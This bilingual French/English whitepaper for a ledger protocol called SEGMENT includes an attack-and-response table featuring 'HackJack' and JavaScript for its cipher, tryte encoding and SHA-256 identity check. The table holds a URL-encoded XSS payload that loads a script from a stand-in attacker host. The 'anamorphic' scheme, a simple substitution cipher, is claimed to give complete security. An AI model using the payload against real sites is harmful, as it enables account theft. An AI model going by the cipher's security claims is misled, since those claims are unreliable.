13. HackJack réussit à décrypter ses blocs FML dans la chaîne et à modifier les wallets d'une autre de ses machines pour mener des transactions abusives • les Approbs ne tiennent pas compte des valeurs de wallet statistiquement rares et non-partagées par d'autres machines de la FML
SPOF AttackAnswer
13. HackJack manages to decrypt its FML blocks and modify the wallets of another of its machines to conduct abusive transactions • Approbs do not take into account the wallet's values that are statistically rare and not shared by other FML machines

Attaque sur SEGmasters

Attack on SEGmasters

Attaque SPOFRéponse
14. HackJack essaie de faire passer une de ses machines pour un SEGmaster et créer des Approbs en sa faveur • ID/TPN + datas SEGmasters spécifiques immédiatement reconnaissables
15. HackJack capture quelle POS est appelée comme PTX par SEGmaster et y place instantanément sa machine • Le DAG a probablement déjà sélectionné les 5 approbs et elle ont déjà choisi leur LTX (langue de transaction).
Même si la machine de Hackjack est appelée, son vote ne représente que 20% de la décision : les 4 "vraies" Approbs restent décisionnaires à 80%.
SPOF AttackAnswer
14. HackJack tries to make one of his machines look like an SEGmaster and create Approbs in his favor • SEGmasters ID/TPN + specific data immediately recognizable
15. HackJack captures which POS is called as PTX by SEGmaster and instantly places its machine • The DAG has probably already selected the 5 Approbs and they have already chosen their LTX (transaction language).
Even if Hackjack's machine is called, his vote only represents 20% of the decision: the 4 "true" Approbs remain (80%) decision makers.

Attaque sur le protocole

Attack on Protocol

Attaque SPOFRéponse
16. HackJack tente une attaque Cross-Site-Scripting (XSS)
(Une attaque XSS est possible lors du lancement de la transaction : dans la fonction SEGMENT.pay('Alice','Bob', [arg = %3Cscript%2520src%3D%22http%3A%2F%2Fhackjack.tld%2hack.js%22%3E%3C%2Fscript%3E ] ) [arg] est une tentative d'intrusion)
• Cette attaque permettrait par ex à HackJack de récupérer l'ID+POI de Alice sans avoir à accéder à sa machine.
Une pré-analyse + une "liste blanche" des entrées prévient les attaques XSS.
17. HackJack tente une attaque Cross-Site Request Forgery (CSRF)
(Une attaque CSRF est possible, par ex sur la requête HTTP GET appelant un smart-contract)
• Un code spécifique est associé à toute requête d'exécution d'un contrat.
SPOF AttackAnswer
16. HackJack tries a Cross-Site-Scripting (XSS) Attack
(An XSS attack is possible when the transaction is launched: in the function SEGMENT.pay('Alice','Bob', [arg = %3Cscript%2520src%3D%22http%3A%2F%2Fhackjack.tld%2hack.js%22%3E%3C%2Fscript%3E ] [arg] is an intrusion attempt))
• This attack would allow HackJack to retrieve Alice's ID+POI without having to access her machine.
A pre-analysis + a "whitelist" of entries prevents XSS attacks.
17. HackJack tries a Cross-Site Request Forgery (CSRF) Attack
(A CSRF attack is possible, e. g. on the HTTP GET request calling a smart-contract)
• A specific code is associated with any request to execute a contract.

Attaque sur le réseau

Attack on Network

Attaque SPOFRéponse
18. HackJack tente d'écouter le réseau pour capturer les échanges transactionnels • SEGMENT sera ultérieurement déployé en connexion peer-to-peer RTC de machine à machine sur le protocole UDP (hors TCP/HTTP). → [ Tests en cours ]
UDP-RTC
SPOF AttackAnswer
18. HackJack tries to listen to the network to capture transactional exchanges • SEGMENT will later be deployed as an RTC peer-to-peer connexion from machine to machine on the UDP protocol (out of TCP/HTTP). → [ Currently under test ]
UDP-RTC

HackJack No-Hack

Toute tentative de fraude, d'usurpation ou de falsification détectée entraîne de façon automatique la destruction immédiate de toutes les données présentes sur la machine qui est remise à zéro/réinitialisée.
Les shards de chaîne sont reconstitués selon les dernières mises à jour, les wallets sont remis à zéro et les données ID, POI et TPN sont intégralement reconstruites.
Any attempt at fraud, usurpation or falsification detected automatically results in the immediate destruction of all data on the machine that is reset.
The chain string shards are restored according to the latest updates, the wallets are reset and the ID, POI and TPN data are completely rebuilt.

II. CRYPTOGRAPHIE
Crypto anamorphique

II. CRYPTOGRAPHY
Anamorphic

La crypto anamorphique est au coeur du protocole SEGMENT : elle gère et protège tous les échanges (gossip) entre machines lors d'une transaction.
Son principe est simple : toute machine postant un message à destination d'une (Alice à Bob par ex) ou de plusieurs autres (SEGmaster à approbatrices) connaît au moins partiellement l'adresse du ou des destinataire(s). Cette adresse est constituée a minima de deux informations importantes :
a. la position destinataire(s) dans le cube 3D virtuel SEGMENT → x:21, y:52, z:74 = POS 215274
b. le numéro destinataire(s) sur 6 chiffres → NUM 123456 pour un destinataire unique, ou NUM 000000 pour TOUTES les machines de même point.
A partir de ces deux données (215274 + 123456) les machines sont capables de créer un système cryptographique qui, comme une anamorphose, ne rendra le message compréhensible qu'à celles placées exactement au bon endroit : à la POS+NUM de la (ou des) machine(s) destinatrice(s).
Anamorphic cryptography is at the heart of the SEGMENT protocol: it manages and protects all exchanges (gossip) between machines during a transaction.
Its principle is simple: any machine posting a message to one (Alice to Bob for example) or several others (SEGmaster to approvers) knows at least partially the address of the recipient(s). This address consists of at least two important pieces of information:
a. the destination position(s) in the SEGMENT virtual 3D cube → x:21, y:52, z:74 = POS 215274
b. the recipient number(s) on 6 digits → NUM 123456 for a single recipient, or NUM 000000 for ALL machines of the same point.
From these two data (215274 + 123456) the machines are able to create a cryptographic system which, like an anamorphosis, will only make the message understandable to those placed exactly in the right place, on the POS+NUM of the recipient machine(s).

Qu'est-ce qu'une anamorphose ?

What is anamorphosis?

anamorph 1 anamorph 2

«Anamorphose projetée» de Felice Varini : seul le spectateur placé au POV exact peut voir le damier. Felice Varini's "Projected Anamorphosis" : only the spectator placed at the exact POV can see the checkerboard.

Contrairement aux cryptographies classiques qui, par des jeux complexes de clés privées et publiques (RSA, PGP...), cherchent à empêcher tout acteur malveillant d’accéder au contenu du message, la cryptographie anamorphique distribue publiquement et équitablement le message crypté sur le réseau : tout le monde peut en prendre connaissance et le lire intégralement, sans dissimulation, mais seul le destinataire placé au POV prévu sera capable d’en comprendre le sens.
Unlike traditional cryptographies which, through complex sets of private and public keys (RSA, PGP...), seek to prevent any malicious actor from accessing the content of the message, anamorphic cryptography distributes the encrypted message publicly and fairly on the network: everyone can read it and read it completely, without concealment, but only the recipient placed at the intended POV will be able to understand its meaning.

Principe général

General principle

Si Alice "parle" dans la langue de sa POS xyz (elle dit par ex "hello") les machines situées dans des POS adjacentes comprendront autre chose*.
Pour être comprise par Chris elle devra "parler" dans la langue de Chris.
If Alice "speaks" in the language of her POS xyz (she says e. g. "hello") the machines located in adjacent POS will understand something else*.
To be understood by Chris she will have to "speak" in Chris language.

ANAMORPH

* Dans cet exemple les mots compris par les autres machines sont simplement décalés d'une lettre dans l'alphabet (code César). En réalité il existe une table de translation spécifique à chaque POS qui ne peut être déduite des précédentes ou suivantes. * In this example, the words understood by the other machines are simply shifted by a letter in the alphabet (Caesar code). In reality, there is a translation table specific to each POS that cannot be deduced from the previous or following ones.

Protocole

Protocol

La cryptographie anamorphique a deux utilisations distinctes dans SEGMENT :
Comme expliqué plus haut, la première est destinée à ne rendre un message public compréhensible qu'à certaines machines (un peu comme si dans une pièce des personnes de toutes nationalités parlaient dans leurs propres langues sans comprendre ce que disent les autres),
La seconde, plus complexe à mettre en oeuvre, va permettre aux seules machines en train de consensualiser une transaction en cours de créer un langage artificiel temporaire SALT (Synchronous Artificial Language for Transactions) pour dialoguer entre elles.
Anamorphic cryptography has two distinct uses in SEGMENT:
As explained above, the first one is intended to make a public message understandable only to certain machines (as if people of all nationalities were speaking in their own languages in the same room without understanding what others are saying),
The second one, more complex to implement, will allow only machines in the process of consensualizing a transaction in progress to create a temporary artificial language SALT (Synchronous Artificial Language for Transactions) for their dial.

1. Dial anamorphique

1. Anamorphical Dial

On part d'une série de 100 signes en tableau (A-Z + a-z + 0-9 + accents et signes clavier)
On crée ensuite deux tables de 10 valeurs [0,1,2,...,7,8,9] qu'on va permuter selon les valeurs de POS et/ou de NUM
We start from a series of 100 table signs (A-Z + a-z + 0-9 + accents and keyboard signs)
We create two tables of 10 values [0,1,2,...,7,8,9] that we will switch according to the POS and/or NUM values

const ALPHA = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789ÀÂÄÇÈÉÊËÎÏÔÖÙÛÜàâäçèéêëîïôöùûü{}?_!:=-";
function creeAnamorph(){
let POS = 913741; // POS x:91 y:37 z:41 let cod_1 = parseInt( POS.toString().substr(0,3) ) *1000 ; // [913]741 -> 913000 let cod_2 = parseInt( POS.toString().substr(3,3) ) *1000 ; // 913[741] -> 741000
arrayDiz = createArray(cod_1); arrayOne = createArray(cod_2);
array4ThisPoint = []; val = 0;
creeCrypt(POS); }
function createArray(val) { permute(val); return array4ThisPoint; // tabl 10 s. }
function permute(val) {
/* * Cette fonction produit une permutation des chiffres de 0 à 9 sur 10 signes selon "val" : * This function produces a permutation of the digits from 0 to 9 out of 10 characters according to "val": * 3,9,8,5,7,4,0,6,2,1 * 6,5,8,3,7,4,0,2,9,1 */
var permutation = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9];
let length = permutation.length, result = [permutation.slice()], c = new Array(length).fill(0), i = 1, k, p, n = 0;
while (i < length) { if (c[i] < i) { if (n <= val) { k = i % 2 && c[i]; p = permutation[i]; permutation[i] = permutation[k]; permutation[k] = p; ++c[i]; i = 1; if (n == val) { array4ThisPoint = permutation.slice(); break; } else { n+=1; } } } else { c[i] = 0; ++i; } } }

Une fois ces deux tables créées on les combine en une troisième table : la première pour les dizaines arrayDiz, la seconde pour les unités arrayOne Once these two tables have been created, they are combined into a third table: the first for the tens arrayDiz, the second for the units arrayOne

function creeCrypt(pos){
// création table "tabl4User" selon les dizaines et unités -> une seule table possible par POS !!! // creation table "tabl4User" depending tens and units -> only ONE table possible for a POS !!!
tabl4User = []; let diz = one = ''; for (i = 0; i < 10; i++){ for (ii = 0; ii < 10; ii++){ tabl4User.push(arrayDiz[ii]*10+arrayOne[i]); // -> 36,96,86,56 ... 01,61,21,11 } diz += arrayDiz[i]; one += arrayOne[i]; } tablUSER = []; for (i = 0; i < 100; i++){ tablUSER.push(ALPHA[i]); // array 100 s. }
cryptUSER = []; for (i = 0; i < 100; i++){ cryptUSER.push(tablUSER[tabl4User[i]]); } }

Nous avons maintenant deux tables de 100 signes, l'une universelle ALPHA = [ 0->A, 1->B, 2->C, 3->D, ... , 99->, ] et l'autre spécifique à CETTE position x:91 y:37 z:41, par exemple cryptUSER = [ 0->k, 1->_, 2->ï, 3->4, ... , 99->L ]
Il ne reste plus qu'à construire le script de permutation de signes :
We now have two tables of 100 characters, one universal ALPHA = [ 0->A, 1->B, 2->C, 3-> D, ... , 99->, ] and the other specific at THIS position x:91 y:37 z:41, e. g. cryptUSER = [ 0->k, 1->_, 2->ï, 3->4, ... , 99->L ]
All that remains is to build the script for permutation of signs:

TABLE ANAMORPH

function encrypt(STR) { str = new Map([...ALPHA].map((b,i)=> [b,cryptUSER[i]])); let code = [...STR].map(s=> str.get(s) || s); return code.join('');
// STR "ABCDEF..." -> "k_ï4Üu..." }
function decrypt(CODE) { str = new Map([...cryptUSER].map((b,i)=> [b,ALPHA[i]])); let decode = [...CODE].map(s=> str.get(s) || s); return decode.join('');
// CODE "k_ï4Üu..." -> "ABCDEF..." }

Dans cet exemple nous nous adressons à TOUTES les machines du point x:91 y:37 z:41.
Pour parler à une machine en particulier sur CE point du cube 3D, il suffit de modifier légèrement le script :
In this example we address ALL machines at position x:91 y:37 z:41.
To talk to a particular machine on this point of the 3D Cube, just slightly modify the script :

function creeAnamorph(){ let cod_1 = POS; // 913741 let cod_2 = NUM; // 123456 ...

Il y a au total plus de 3 millions (3.628800 M → 10! = 1x2x3x4x5x6x7x8x9x10) de "langues de transaction" possibles. In total, there are more than 3 million (3.628800 M → 10! = 1x2x3x4x5x6x6x7x8x9x9x10) of possible "transaction languages".

HakJak No-Hack

SEGMENT est un procolole crypté de point-à-point* (E2E : end-to-end): le message anamorphique sortant de la machine Alice à destination de la machine Bob sort écrit dans la langue de Bob avant d'être publié sur le canal de dial (GOSSIP).
Seul Bob (POI et POS+NUM uniques) sera capable de le déchiffrer et donc de comprendre ce que Alice lui dit. Quand il lui répondra, il répondra dans la langue de Alice.
Un hacker malveillant capable d'intercepter les échanges entre machines** (attaque HDM) devra impérativement connaître les POS+NUM de Bob pour positionner sa propre machine d'attaque au même endroit et lui affecter le même NUM que Bob. Mais là encore rien n'est si simple : en modifiant les datas d'ID de sa machine il fausse obligatoirement son POI... et donc, étant en tant que destinataire du message obligé de confirmer son identité, sa machine sera nécessairement reconnue comme falsifiée et réinitialisée. Il perdra du même coup toutes ses données d'ID et de connexion, ses wallets, ses shards blockchain, etc.
SEGMENT is a end-to-end encrypted protocol (E2E*): the anamorphic message leaving the Alice machine to the Bob machine is written in the language of Bob before being published on the dial channel (GOSSIP).
Only Bob (POI and POS+NUM unique) will be able to decipher it and therefore understand what Alice is telling him. He himself will answer directly in Alice's language.
A malicious hacker able to intercept exchanges between machines** (Man-in-the-Middle Attack) will have to know Bob's POS+NUM to place his own attack machine on the same POS and assign it the same NUM as Bob. By modifying the ID datas of his machine he necessarily distorts his POI... and therefore, being as the recipient of the message obliged to confirm his identity, his machine will be necessarily recognized as falsified and reset, losing ID, connexion datas, wallets contents, blockchain shards...

*"Le chiffrement de bout en bout (en anglais, End-to-end encryption ou E2EE) est un système de communication où seules les personnes qui communiquent peuvent lire les messages échangés. En principe, il empêche l'écoute électronique, y compris par les fournisseurs de télécommunications, par les fournisseurs d'accès Internet et même par le fournisseur du service de communication. Avec le chiffrement de bout en bout, personne n'est en mesure d'accéder aux clés cryptographiques nécessaires pour déchiffrer la conversation."Wikipedia

** "L'attaque de l'homme du milieu (HDM) ou man-in-the-middle attack (MITM), parfois appelée attaque de l'intercepteur, est une attaque qui a pour but d'intercepter les communications entre deux parties, sans que ni l'une ni l'autre ne puisse se douter que le canal de communication entre elles a été compromis. Le canal le plus courant est une connexion à Internet de l'internaute lambda. L'attaquant doit d'abord être capable d'observer et d'intercepter les messages d'une victime à l'autre."Wikipedia
*"End-to-end encryption (E2EE) is a system of communication where only the communicating users can read the messages. In principle, it prevents potential eavesdroppers – including telecom providers, Internet providers, and even the provider of the communication service – from being able to access the cryptographic keys needed to decrypt the conversation"Wikipedia

** "In cryptography and computer security, a man-in-the-middle attack (MITM) is an attack where the attacker secretly relays and possibly alters the communication between two parties who believe they are directly communicating with each other."Wikipedia

2. Langage SALT

2. SALT Language

Le langage SALT (Synchronous Artificial Langage for Transaction) est un langage dynamique anamorphique créé entre machines pour établir un dialogue et leur faire réaliser des actions spécifiques liées par exemple à la réalisation d'un smart-contract*.
Comme tous les langages il est constitué d'une syntaxe, d'un vocabulaire, d'une grammaire et d'une écriture.
• sa syntaxe est fondée sur des ULS (Unités lexicales sémantiques) : des schèmes qui organisent le discours et le rendent compréhensible
• son vocabulaire est un jeu d'encodages décrivant les objets concernés par leurs ID ou descriptions techniques
• sa grammaire est un jeu d'encodages décrivant les actions à entreprendre et les concepts à manier (faire, dire, aller, prendre...)
• son écriture est anamorphique : seuls les destinataires choisis sont capables de lire ce qui transite par le GOSSIP.
The SALT language (Synchronous Articial Language for Transaction) is an anamorphic dynamic language created between machines to establish a dialogue and make them perform specific actions related for example to the realization of a smart-contract*.
Like any human languages, it consists of syntax, vocabulary, grammar and writing.
• its syntax is based on ULS (Semantic Lexical Units): schemes that organize discourse and make it understandable
• its vocabulary is a set of encodings describing the objects concerned by their ID or technical descriptions
• its grammar is an encoding set describing the actions to be taken and the concepts to be handled (do, say, go, take...)
• its writing is anamorphic: only the chosen recipients are able to read what passes through GOSSIP.

* Un smart-contract est une série d'instructions SI → ALORS || SINON plus ou moins complexes qui s'auto-exécutent une fois les conditions requises remplies.
* A smart-contract is a series of more or less complex instructions IF → THEN || ELSE that are self-executing once the required conditions are met.

Exemple pratique

Practical example

Dans le cadre de SEGMENT ces contrats engagent des machines qui, si les conditions prévues sont réunies, exécuteront ce qui écrit dans les jeux d'instructions.
Par exemple le scénario suivant : Alice est productrice et Bob est son client. Alice livre un produit à Bob par drone.
Si (condition contractuelle) "DRONE" est géolocalisé au domicile de Bob, alors la livraison est réputée effectuée. Pour être certain que "DRONE" est au même endroit que "PHONE" de Bob au même moment (réception du colis par Bob) on cherche leurs géolocalisations respectives. Si au même moment elle sont identiques à quelques mètres près, alors la condition if (DRONE.posLatLon - PHONE.posLatLon < 10) { pay(PHONE, DRONE, 100 euros) } est remplie et la suite du contrat (paiement de 100 euros par Bob) est instantanément effectuée.
On peut légèrement complexifier le contrat en imaginant que le DRONE n'appartient pas à Alice mais à Chris qui en est le propriétaire loueur :
Within the framework of SEGMENT these contracts involve machines which, if the conditions provided for are met, will execute what is written in the instruction sets.
For example, the following scenario: Alice is a producer and Bob is its customer. Alice delivers a product to Bob by drone.
If (contractual condition) "DRONE" is geolocated at Bob's home, then the delivery is deemed to have been made. To be sure that "DRONE" is in the same place as "PHONE" of Bob at the same time (receipt of the package by Bob) we look for their respective geolocations. If at the same time they are identical within a few meters, then the condition if (PHONE.posLatLon - PHONE.posLatLon < 10) { pay(PHONE, DRONE, 100 euros) } is fulfilled and the rest of the contract (payment of 100 euros by Bob) is instantly made.
We can slightly complicate the contract by imagining that the DRONE does not belong to Alice but to Chris who is the owner:

if (DRONE.posLatLon - PHONE.posLatLon < 10) {
// Alice préfère être payée en euros // Alice prefers to be paid in euros pay(PHONE,ALICE,100,euros);
// Chris préfère être payé en tokens internes // Chris prefers to be paid in tokens pay(PHONE,DRONE,10,tokens); }

Dans cet exemple, la condition contractuelle "Si la distance entre le DRONE et le PHONE de Bob est inférieure à 10 mètres alors Bob paye 100 euros à Alice et 10 tokens au DRONE de Chris" (le drone détient un wallet en tokens) va d'abord évaluer d'abord le POI/TPN de Bob ainsi que ses wallets avant de réaliser le versement. On sait que le drone et son wallet existent mais on va s'assurer que le wallet de Alice existe également. In this example, the contractual condition "If the distance between the DRONE and Bob's PHONE is less than 10 meters then Bob pays 100 euros to Alice and 10 tokens to the DRONE of Chris" (the drone has a token wallet) first evaluate Bob's POI/TPN and its wallets before making the payment. We know that the drone and its wallet exist but we will make sure that Alice's wallet also exists.

Contrats en IA

SEGMENT AI Contracts

A terme SEGMENT proposera une interface utilisateurs en intelligence artificielle (IA) pour la rédaction de contrats en langue naturelle (français, anglais...).
Numériquement signé, daté et accepté par les deux parties contractantes, ce contrat sera ensuite encrypté selon le protocole présenté dans cet exemple par une analyse de ses ULS et une syntaxisation par algorithme. Imprimable dans sa version "lisible" il pourra servir de preuve écrite devant un tribunal en cas de litige entre les parties.
Later SEGMENT will offer a user interface in artificial intelligence (AI) for the writing of contracts in natural language (French, English...).
Digitally signed, timestamped and accepted by both contracting parties, this contract will then be encrypted according to the protocol presented in this example by an analysis of its ULS and syntaxization by algorithm. Printable in its "readable" version, it may be used as written evidence in court in the event of a dispute between the parties.

HackJack No-Hack

La sécurisation des smart-contracts passe par l'anamorphose mais également par l'utilisation de syntaxes-signes dont le dictionnaire complet reste inaccessible. En production, l'auditabilité du contrat (vérifier son bon fonctionnement déterministe et prédictif) sera assurée par un module de test tel celui présenté ici.
The securing of smart-contracts involves anamorphosis but also the use of syntaxes whose complete dictionary remains inaccessible. In production, the auditability of the contract (verify its deterministic and predictive performance) will be ensured by a test module such as the one presented here.

II. CRYPTOGRAPHIE
Trytes

II. CRYPTOGRAPHY
Trytes

Définition

Definition

Parfois utilisés dans d'autres protocoles DLT (IOTA par ex) les trytes sont la version ternaire des bytes.
Un bit est un chiffre en base 2 : 0 ou 1. Un byte est un octet composé de 8 bits.
Un trit est un chiffre en base 3 : 0, 1 ou 2... mais aussi parfois -1, 0, 1 selon la construction ("ternaire équilibré").
Un tryte est constitué de 3 trits.
Used in some other DLT protocols (e. g. IOTA), trytes are the ternary version of bytes.
A bit is a digit in a base 2: 0 or 1. A byte (octet) consists of 8 bits.
A trit is a digit in a base 3: 0, 1 or 2... but also sometimes -1, 0, 1 depending on the construction ("balanced ternary").
A tryte consists of 3 trits.

Utilisation

Uses and applications

Dans SEGMENT les trytes sont massivement utilisés pour une spécificité très technique : ils permettent d'encrypter des données complexes en intégrant une clé au cryptage.
En effet, les trytes permettent d'obtenir une longueur constante de data (donc facile à retrouver dans une STR) pour toutes sortes de données très différentes, simplement en les faisant précéder d'une clé allant de 1 à [n] (selon la longueur de la STR).
Ainsi, une constante trytes de 9 signes pourra, selon la clé donnée, représenter entre 12 et 14 chiffres : timestamps, contenus de wallets ou n'importe quelle sorte de tokens, portions d'ID, etc. → cette fonctionnalité n'est pas présentée dans ce document.
En "détrytant" ces 9 signes, le premier donnera la nature exacte des [x] signes suivants.
In SEGMENT, trytes are massively used for a very technical specificity: they allow complex data to be encrypted by integrating a key into the encryption.
Indeed, trytes allow to obtain a constant length of data (therefore easy to find in a string) for all kinds of very different data, simply by prefixing them with a key from 1 to [n] (depending the STR length).
Thus, depending on the given key a trytes constant of 9 characters can represent between 12 and 14 digits: timestamps, wallet contents or any kind of assets, ID portions... → this feature is not presented in this document.
By "detryting" these 9 signs, the first one will give the exact nature of the [x] next signs.

let result = convert2trytes(data);
const RADIX = 3; const MAX = 1; const MIN = -1; const alpha = "0123456789stuvwxyzÀÂÄÇÉÈÊËÎÏÖÔÙÛÜ"; const matrix = [[0,0,0],[1,0,0],[-1,1,0],[0,1,0],[1,1,0],[-1,-1,1],[0,-1,1],[1,-1,1],[-1,0,1],[0,0,1],[1,0,1],[-1,1,1],[0,1,1],[1,1,1],[-1,-1,-1],[0,-1,-1],[1,-1,-1],[-1,0,-1],[0,0, -1],[1,0,-1],[-1,1,-1],[0,1,-1],[1,1,-1],[-1,-1,0],[0,-1,0],[1,-1,0],[-1,0,0]];
function convert2trytes(x) { let tritsArr = fromVal(x); while (tritsArr.length % 3 != 0) tritsArr.push(0); return trytes(tritsArr); }
function convert2digits(x) { return valFrom(trits(x)); }
let trits = function(input, state) { let trits = state || []; if (Number.isInteger(input)) { let absVal = input < 0 ? -input : input; while (absVal > 0) { let rem = absVal % 3; absVal = Math.floor(absVal / 3); if (rem > 1) { rem = -1; absVal++; } trits[trits.length] = rem; } if (input < 0) { for (let i = 0; i < trits.length; i++) { trits[i] = -trits[i]; } } } else { for (let i = 0; i < input.length; i++) { let index = alpha.indexOf(input.charAt(i)); trits[i * 3] = matrix[index][0]; trits[i * 3 + 1] = matrix[index][1]; trits[i * 3 + 2] = matrix[index][2]; } } return trits; }
let trytes = function(trits) { let trytes = ''; for (let i = 0; i < trits.length; i += 3) { for (let j = 0; j < alpha.length; j++) { if (matrix[j][0] == trits[i] && matrix[j][1] == trits[i + 1] && matrix[j][2] == trits[i + 2]) { trytes += alpha.charAt(j); break; } } } return trytes; }
let valFrom = function(trits) { let value = 0; for (let i = trits.length; i-- > 0; ) { value = value * 3 + trits[i]; } return value; }
let fromVal = function(value) { let dest = []; let absVal = value < 0 ? -value : value; let i = 0; while(absVal > 0) { let rem = (absVal % RADIX); absVal = Math.floor(absVal / RADIX); if (rem > MAX) { rem = MIN; absVal++; } dest[i] = rem; i++; } if (value < 0) { for (let i = 0; i < dest.length; i++) { dest[i] = dest[i] == 0? 0: -dest[i]; } } return dest; }
Les trytes étant rétro-ingéniérables ils ne constituent pas une protection cryptographique en soi. En revanche, une fois traduits en crypto anamorphique, ils permettent de faire transiter de façon complètement sécurisée des valeurs très fines (nombre à plusieurs décimales par ex ) indexées selon leur clé initiale et dans un volume réduit.
Because reverse engineering trytes do not constitute sufficient cryptographic protection. On the other hand, once translated into anamorphic crypto, they allow very fine values (i.e. numbers with several decimals) indexed according to their initial key, in a smaller volume and a complete security.

II. CRYPTOGRAPHIE
SHA 256

II. CRYPTOGRAPHY
SHA 256

SHA n'est pas un procédé d'encryptage de données à proprement parler mais un algorithme de production d' "image cryptée" : on part d'une donnée - appelée première préimage - dont on produit une "image" (une chaîne cryptée en base 58).
Pour vérifier la validité/conformité d'une "image SHA" transmise par la machine Alice à la machine Bob, cette dernière part la pré-image qu'elle détient (la donnée initiale, appelée seconde préimage), crée le SHA 256 correspondant et vérifie si ce SHA est exactement identique à celui passé par Alice.
SHA is not a data encryption process but an algorithm for producing an "encrypted image": we start from a data - called first preimage - of which an "image" (an encrypted string in base 58) is produced.
To verify the validity/compliance of a "SHA image" transmitted by the Alice machine to the Bob machine, the Bob machine uses the pre-image it holds (the initial data, called second preimage), creates the corresponding SHA 256 and checks whether this SHA is exactly identical to the one passed by Alice.

Dans SEGMENT, SHA 256 est utilisé pour vérifier avec certitude l'identité (POI : preuve d'identité) d'une machine du réseau lorsque celle-ci lance une transaction.
Une machine intermédiaire - appelée SEGmaster - va s'interposer provisoirement entre Alice (la machine qui lance la transaction) et les machines approbatrices qui vont consensualiser cette transaction.
SEGmaster doit s'assurer de l'identité réelle de Alice : pour cela, il va produire un SHA 256 à partir de certains éléments de l'ID de Alice selon un séquençage aléatoire imprédictible qu'il va lui envoyer. La machine Alice devra en retour prouver qui elle est en retournant à SEGmaster le SHA produit à partir de ses propres données d'ID dans l'ordre indiqué par SEGmaster.
Pour limiter le volume des échanges le SHA est réduit à ses 20 premiers signes.
Si SEGmaster reçoit un SHA sur 20 signes de Alice conforme à celui qu'il a lui-même calculé, l'identité d'Alice est alors démontrée et certifiée : les chances pour que deux machines de POS et de NUM différents produisent le même SHA sur 20 signes sont pratiquement inexistantes.
In SEGMENT, SHA 256 is used to verify with certainty the identity (POI: proof of identity) of a machine on the network when it launches a transaction.
An intermediate machine - called SEGmaster - will temporarily interpose itself between Alice (the machine that launches the transaction) and the approving machines who will consensualize this transaction.
SEGmaster must ensure Alice's real identity: to do this, it will produce a SHA 256 from certain elements of Alice's ID according to an unpredictable random sequencing that it will send it. The Alice machine will have to prove who it is by returning to SEGmaster the SHA produced from its own ID data in the order indicated by SEGmaster.
To limit the volume of shared datas, the SHA is reduced to its first 20 signs (short-SHA).
If SEGmaster receives a short-SHA from Alice that matches the one it calculated itself, then Alice's identity is demonstrated and certified: the chances of two machines of different POS and NUM producing the same SHA on 20 signs are practically non-existent.

// code crée par SEGmaster à partir d'éléments cryptés de l'ID passés par Alice // code created by SEGmaster from Alice's ID encrypted elements let poi = "NghpgxYÈPF"; let cut = poi.match(/.{1,2}/g);
// SEGmaster crée une séquence aléatoire de 5 chiffres // SEGmaster create a random sequence of 5 digits let tomix = [0,1,2,3,4]; let remix = mix(tomix); // 31204
// SEGmaster crée une réduction de remix (voir "Réduction") // SEGmaster create a reduction of remix (See "Reduction") let reduc = val2code(remix[0]+remix[1],1) + val2code(remix[2]+remix[3],1) + val2code(remix[4]+'0',1); // fUo
// SEGmaster reconstruit le poi dans l'ordre 31204 // SEGmaster rebuilds the poi in order 31204 let hash = cut[remix[0]]+cut[remix[1]]+cut[remix[2]]+cut[remix[3]]+cut[remix[4]]; // YÈhpgxNgPF
// SEGmaster envoie "hash+reduc" à Alice qui devra la reconstituer // SEGmaster sends "hash+reduc" to Alice who will have to reconstruct it send2Alice(hash+reduc); // YÈhpgxNgPFfUo
// SEGmaster crée le SHA 256 de hash sur 20 signes qu'il conserve // SEGmaster create the hashmix's SHA 256 let sha = sha256(hash); // 8512a17a6dac1bdfd47a63511faac48a778a1e0c610662cd3fcb705eb9bd86ef let SHA = sha.substr(0,20); // final : 8512a17a6dac1bdfd47a
function mix(a) { let reord = a.length, temp, rand; while (0 !== reord) { rand = Math.floor(Math.random() * reord); reord -= 1; temp = a[reord]; a[reord] = a[rand]; a[rand] = temp; } return a; }

SHA 256 min

var sha256=function a(b){ function c(a,b){return a>>>b|a<<32-b} for(var d,e,f=Math.pow,g=f(2,32),h="length",i="",j=[],k=8*b[h],l=a.h=a.h||[],m=a.k=a.k||[],n=m[h],o={},p=2;64>n;p++)if(!o[p]){for(d=0;313>d;d+=p)o[d]=p;l[n]=f(p,.5)*g|0,m[n++]=f(p,1/3)*g|0}for(b+="\x80";b[h]%64-56;)b+="\x00"; for(d=0;d<b[h];d++){if(e=b.charCodeAt(d),e>>8)return;j[d>>2]|=e<<(3-d)%4*8}for(j[j[h]]=k/g|0,j[j[h]]=k,e=0;e<j[h];){var q=j.slice(e,e+=16),r=l; for(l=l.slice(0,8),d=0;64>d;d++){var s=q[d-15],t=q[d-2],u=l[0],v=l[4],w=l[7]+(c(v,6)^c(v,11)^c(v,25))+(v&l[5]^~v&l[6])+m[d]+(q[d]=16>d?q[d]:q[d-16]+(c(s,7)^c(s,18)^s>>>3)+q[d-7]+(c(t,17)^c(t,19)^t>>>10)|0),x=(c(u,2)^c(u,13)^c(u,22))+(u&l[1]^u&l[2]^l[1]&l[2]);l=[w+x|0].concat(l),l[4]=l[4]+w|0} for(d=0;8>d;d++)l[d]=l[d]+r[d]|0}for(d=0;8>d;d++)for(e=3;e+1;e--){var y=l[d]>>8*e&255;i+=(16>y?0:"")+y.toString(16)} return i }

HakJak No-Hack

Pour usurper une identité de machine (voler d'ID de la vraie machine Alice) un hacker malveillant capable d'intercepter l'échange SHA entre SEGmaster et Alice (écoute du gossip et capacité à décrypter le sens des messages) devra comprendre comment SEGmaster a reconstruit la chaîne POI ("NghpgxYÈPF") puis tester toutes les variantes [0,1,2,3,4] jusqu'à retourner le "vrai" SHA de Alice pour que sa pseudo-identité soit acceptée par SEGmaster.
Le protocole de sécurité n'autorise qu'UN SEUL ESSAI : si le SHA retourné par la pseudo-Alice est incorrect, le SEGmaster réinitialise TOUTES LES DONNÉES d'ID de la machine falsifiée qui perd alors ses identifiants, ses wallets et ses shards blockchain.
To usurp a machine identity (stealing the ID of the real Alice machine) a malicious hacker capable of intercepting the SHA exchange between SEGmaster and Alice (listening to the gossip and being able to decrypt the meaning of the messages) will have to understand how SEGmaster reconstructed the POI chain ("NghpgxYÈPF") then test all the variants [0,1,2,3,4] until returning the "real" Alice SHA so that its pseudo identity is accepted by SEGmaster.
